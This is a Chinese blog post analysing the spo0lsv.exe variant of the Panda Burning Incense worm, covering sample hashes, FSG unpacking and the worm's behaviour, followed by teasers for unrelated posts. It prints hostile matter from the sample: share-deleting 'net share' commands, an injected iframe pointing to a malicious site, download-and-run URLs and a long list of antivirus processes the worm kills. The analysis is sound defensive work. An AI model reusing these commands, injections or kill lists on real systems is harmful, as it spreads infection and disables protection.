跳至主要内容

熊猫烧香变种 spo0lsv.exe 病毒分析

http://ift.tt/2Erx4OJ

[TOC]

0x0 样本信息&分析平台

1 样本信息

病毒名:spo0lsv.exe
大小: 30001 bytes
壳信息:FSG v2.0
MD5: 512301C535C88255C9A252FDF70B7A03
SHA1: CA3A1070CFF311C0BA40AB60A8FE3266CFEFE870
CRC32: E334747C

2 分析平台&使用工具

  • win7 x86
  • od
  • IDA

0x1 主要病毒行为

  • 更改可执行文件图标,内容等信息
  • 强制关闭杀毒、任务管理器等软件
  • 设置开机自启病毒
  • 设置用户点击磁盘启动病毒
  • 更改html,php等网络文件

0x2 脱壳

脱壳

首先通过PEID可以发现这个区段是不对的,通过查壳工具发现这个壳是FSG 2.0,这个壳是非常好脱的

病毒在0x004001D1 这个位置进行了IAT修复

0x0041012C是IAT表的地址,通过观察内存分布可以看出,这个壳把本来IAT中全0结束改为0x7FFFFFFF结束,这样ImportRec在修复的时候就遍历不到其他的导入表了,因此修改成了全0结尾

ImportRec 无法识别netapi.dll, 需要手动修复,或者使用x32dbg 修复

0x3 病毒分析

1 把自身拷贝到系统文件

在所有盘创建一个ini文件夹
写入一些自启的字符串

字符串的作用是使得打开改盘就自动运行病毒文件

更改这个文件属性为:只读,隐藏,并且为操作系统专用

更改exe文件属性,


更改XX:\setup.exe 为只读,隐藏属性,并且为操作系统专用

获取系统目录

2 添加注册表,设置开机自启

设置病毒开机自启

并且通过设置注册表中SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue的值,强制设置不显示隐藏文件

3 删除共享磁盘文件

cmd.exe /c net share A$ /del /y
cmd.exe /c net share admin$ /del /y 
cmd.exe /c net share C$ /del /y


4 病毒守护,关闭杀软,任务管理器,注册表等进程

进程提权,debug权限


查找杀毒软件,任务管理器等程序,找到关闭

通过FindWindow的方式来查找程序,并监控以下程序

防火墙进程
VirusScan
NOD32
网镖
杀毒
毒霸
瑞星
江民
超级兔子
优化大师
木马清道夫
木馬清道夫
卡巴斯基反病毒
Symantec AntiVirus
Duba
esteem procs
绿鹰PC
密码防盗
噬菌体
木马辅助查找器
System Safety Monitor
Wrapped gift Killer.
WinsockExpert
游戏木马检测大师
超级巡警
msctls_statusbar32
pjf(ustc)
IceSword
Mcshield.exe
VsTskMgr.exe
naPrdMgr.exe
UpdaterUI.exe
TBMon.exe
scan32.exe
Ravmond.exe
CCenter.exe.
.RavTask.exe.
Rav.exe.
Ravmon.exe
RavmonD.exe
RavStub.exe.
KVXP.kxp
KvMonXP.kxp
KVCenter.kxp
KVSrvXP.exe.
KRegEx.exe
UIHost.exe
TrojDie.kxp.
.FrogAgent.exe
Logo1_.exe
Logo_1.exe
Rundl132.exe
egedit.exe
msconfig.exe
taskmgr.exe

一旦发现上面的程序打开,就发送WM_QUIT消息,关闭窗口

5 删除服务和注册表

停掉的服务和删除的注册表如下




6 进行文件更改

遍历除了以下文件夹中的EXE,GHO,PIF,HTML等文件,进行修改

Recycled
Windows NT
WindowsUpdate
Windows Media Player
Outlook Express
InternetExplorer
NetMeeting
Common Files
ComPlus Applications
Messenger
InstallShield 
Installation Information
MSN
Microsoft Frontpage
Movie Maker
MSN Gamin Zone

进行磁盘遍历,如果是文件的话,判断文件的后缀名,但是不感染流媒体,MSN等程序

  • 如果后缀名是.GHO ,删除文件

对于html,htm,asp,aspx等文件,写入<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>

对于EXE文件,直接拷贝病毒文件覆盖源文件

7 下载网络文件,进行局域网传播

www.tom.com
www.163.com
www.sohu.com
www.google.com
http://www.update.whboy.net/worm.txt
http://www.ac86cn/66/up.txt

网络请求抓包如下

下载网络文件,保存本地

并且执行这个下载的网络文件

通过通过打开枚举本地IP的445和139端口,尝试打开打开共享文件,进行局域网病毒传播

445端口

139端口

0x4 总结

这个病毒文件其实是并不是很难,尤其是可以看到,其对本身的进程保护和关闭杀毒软件,都是在3环下完成的,并没有用到驱动文件。
但是,其起开的大量线程造成了分析的极度不变,需要极其的耐心来分析。

The post 熊猫烧香变种 spo0lsv.exe 病毒分析 appeared first on cole.

http://ift.tt/2CihFdD Win, reverse engineering, virus, 病毒, 逆向 February 14, 2018 at 03:49AM

评论

发表评论

此博客中的热门博文

反Hook 之自己实现GetProcAddress和LoadLibraryA(c++ version)

http://ift.tt/2AocAD0 // 课上练习.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include <windows.h> //要实现的功能: /* 自己实现GerProcAddress LoadLibraryA */ //思路: /* GerProcAddress和LoadLibraryA都是在Kernel32.dll中的 首要的任务就是找到Kernel32.dll,然后遍历IAT就能找到这两个函数 现在首要的难点就是如何找到kernel32.dll() 通过dll的加载顺序可以找到,而且虽然需要使用未文档化的API,但是好在windgb可以直接看,而且用到的也并不是很多 懒得去晚上搜了,直接自己实现一个得了,作为演示,能用就行(最好还是搜一个正规的结构体) */ /* 0: kd> dt _TEB /a nt!_TEB +0x000 NtTib : _NT_TIB +0x01c EnvironmentPointer : Ptr32 Void +0x020 ClientId : _CLIENT_ID +0x028 ActiveRpcHandle : Ptr32 Void +0x02c ThreadLocalStoragePointer : Ptr32 Void +0x030 ProcessEnvironmentBlock : Ptr32 _PEB //首先实现部分TEB结构体,因为只需要用的PEB的部分,所以实现到这就ok了 */ //构建 TEB typedef struct _TEB { //保证0x30是peb的结构体就ok了 struct _tem { DWORD a1; DWORD a2; DWORD a3; DWORD a4; DWORD a5; DWORD a6; DWORD a7; DWORD a8; DWORD a9; DWORD a10; ...

IDA动态调试ELF中遇到的问题(1)

https://ift.tt/2Gxnf2F 遇到 got SIGCHLD singal(child status has changed)...这种提示 singal fork了子进程 直接点yes,然后继续单步执行,出来提示 pass to application就行了 内存查看 用od习惯了之后,凡事都想右键看一下内存,但是IDA中好像没有那么如意, 目前只是在栈中右键发现有查看hex的选项 动态调试的时候的nop ida保存动态调试的时候修改的数据 方法一:在程序运行的时候保存 The post IDA动态调试ELF中遇到的问题(1) appeared first on cole . https://ift.tt/2q9Qf5g WHATEVER April 05, 2018 at 09:44AM

数据库(MySQL)编程之数据库和表的基本操作

http://ift.tt/2gOXg6X     数据库和表的基本操作 操作前的基本知识 基本 sql语句不区分大小写(关键字建议用大小写),但字符串常量区分大小写 sql语句可单行或多行书写,以; 结尾 关键字不能跨行或简写 可以用空格或者缩进来提高可读性 注释 sql标准 /**/ : 多行注释 "--":单行注释 mysql 标准: "#":单行注释 "COMMENT":为字段或列添加注释 创建和查看数据库 创建数据库 模板 CREATE DATABASE [IF NOT EXISTS ] db_name create_specification: IF NOT EXITSTS : 检查数据库是否存在,如果存在就不创建 creat_specification :创建条件 CHARACTER SET: 制定数据聚采用的字符集 COLLATE :制定数据库字符集的比较方式 DEFAULT :表示默认内容,即使没有制定该项,也有默认的值 # 创建数据库使用字符集为 UTF-8 ,使用规则为 uftf_bin CREATE DATABASE db_name DEFAULT CHARACTER SET utf8 COLLATE uft8_bin; 一般默认的数据库就是utf8 和utf8_bin的比较方式,因此一般创建数据库的时候都用 CREATE DATABASE db_name mysql> create database testdb; Query OK, 1 row affected (0.02 sec) 查看数据库 命令 SHOW DATABASES     mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | performance_schema | | sakila | | sys | | testdb | |...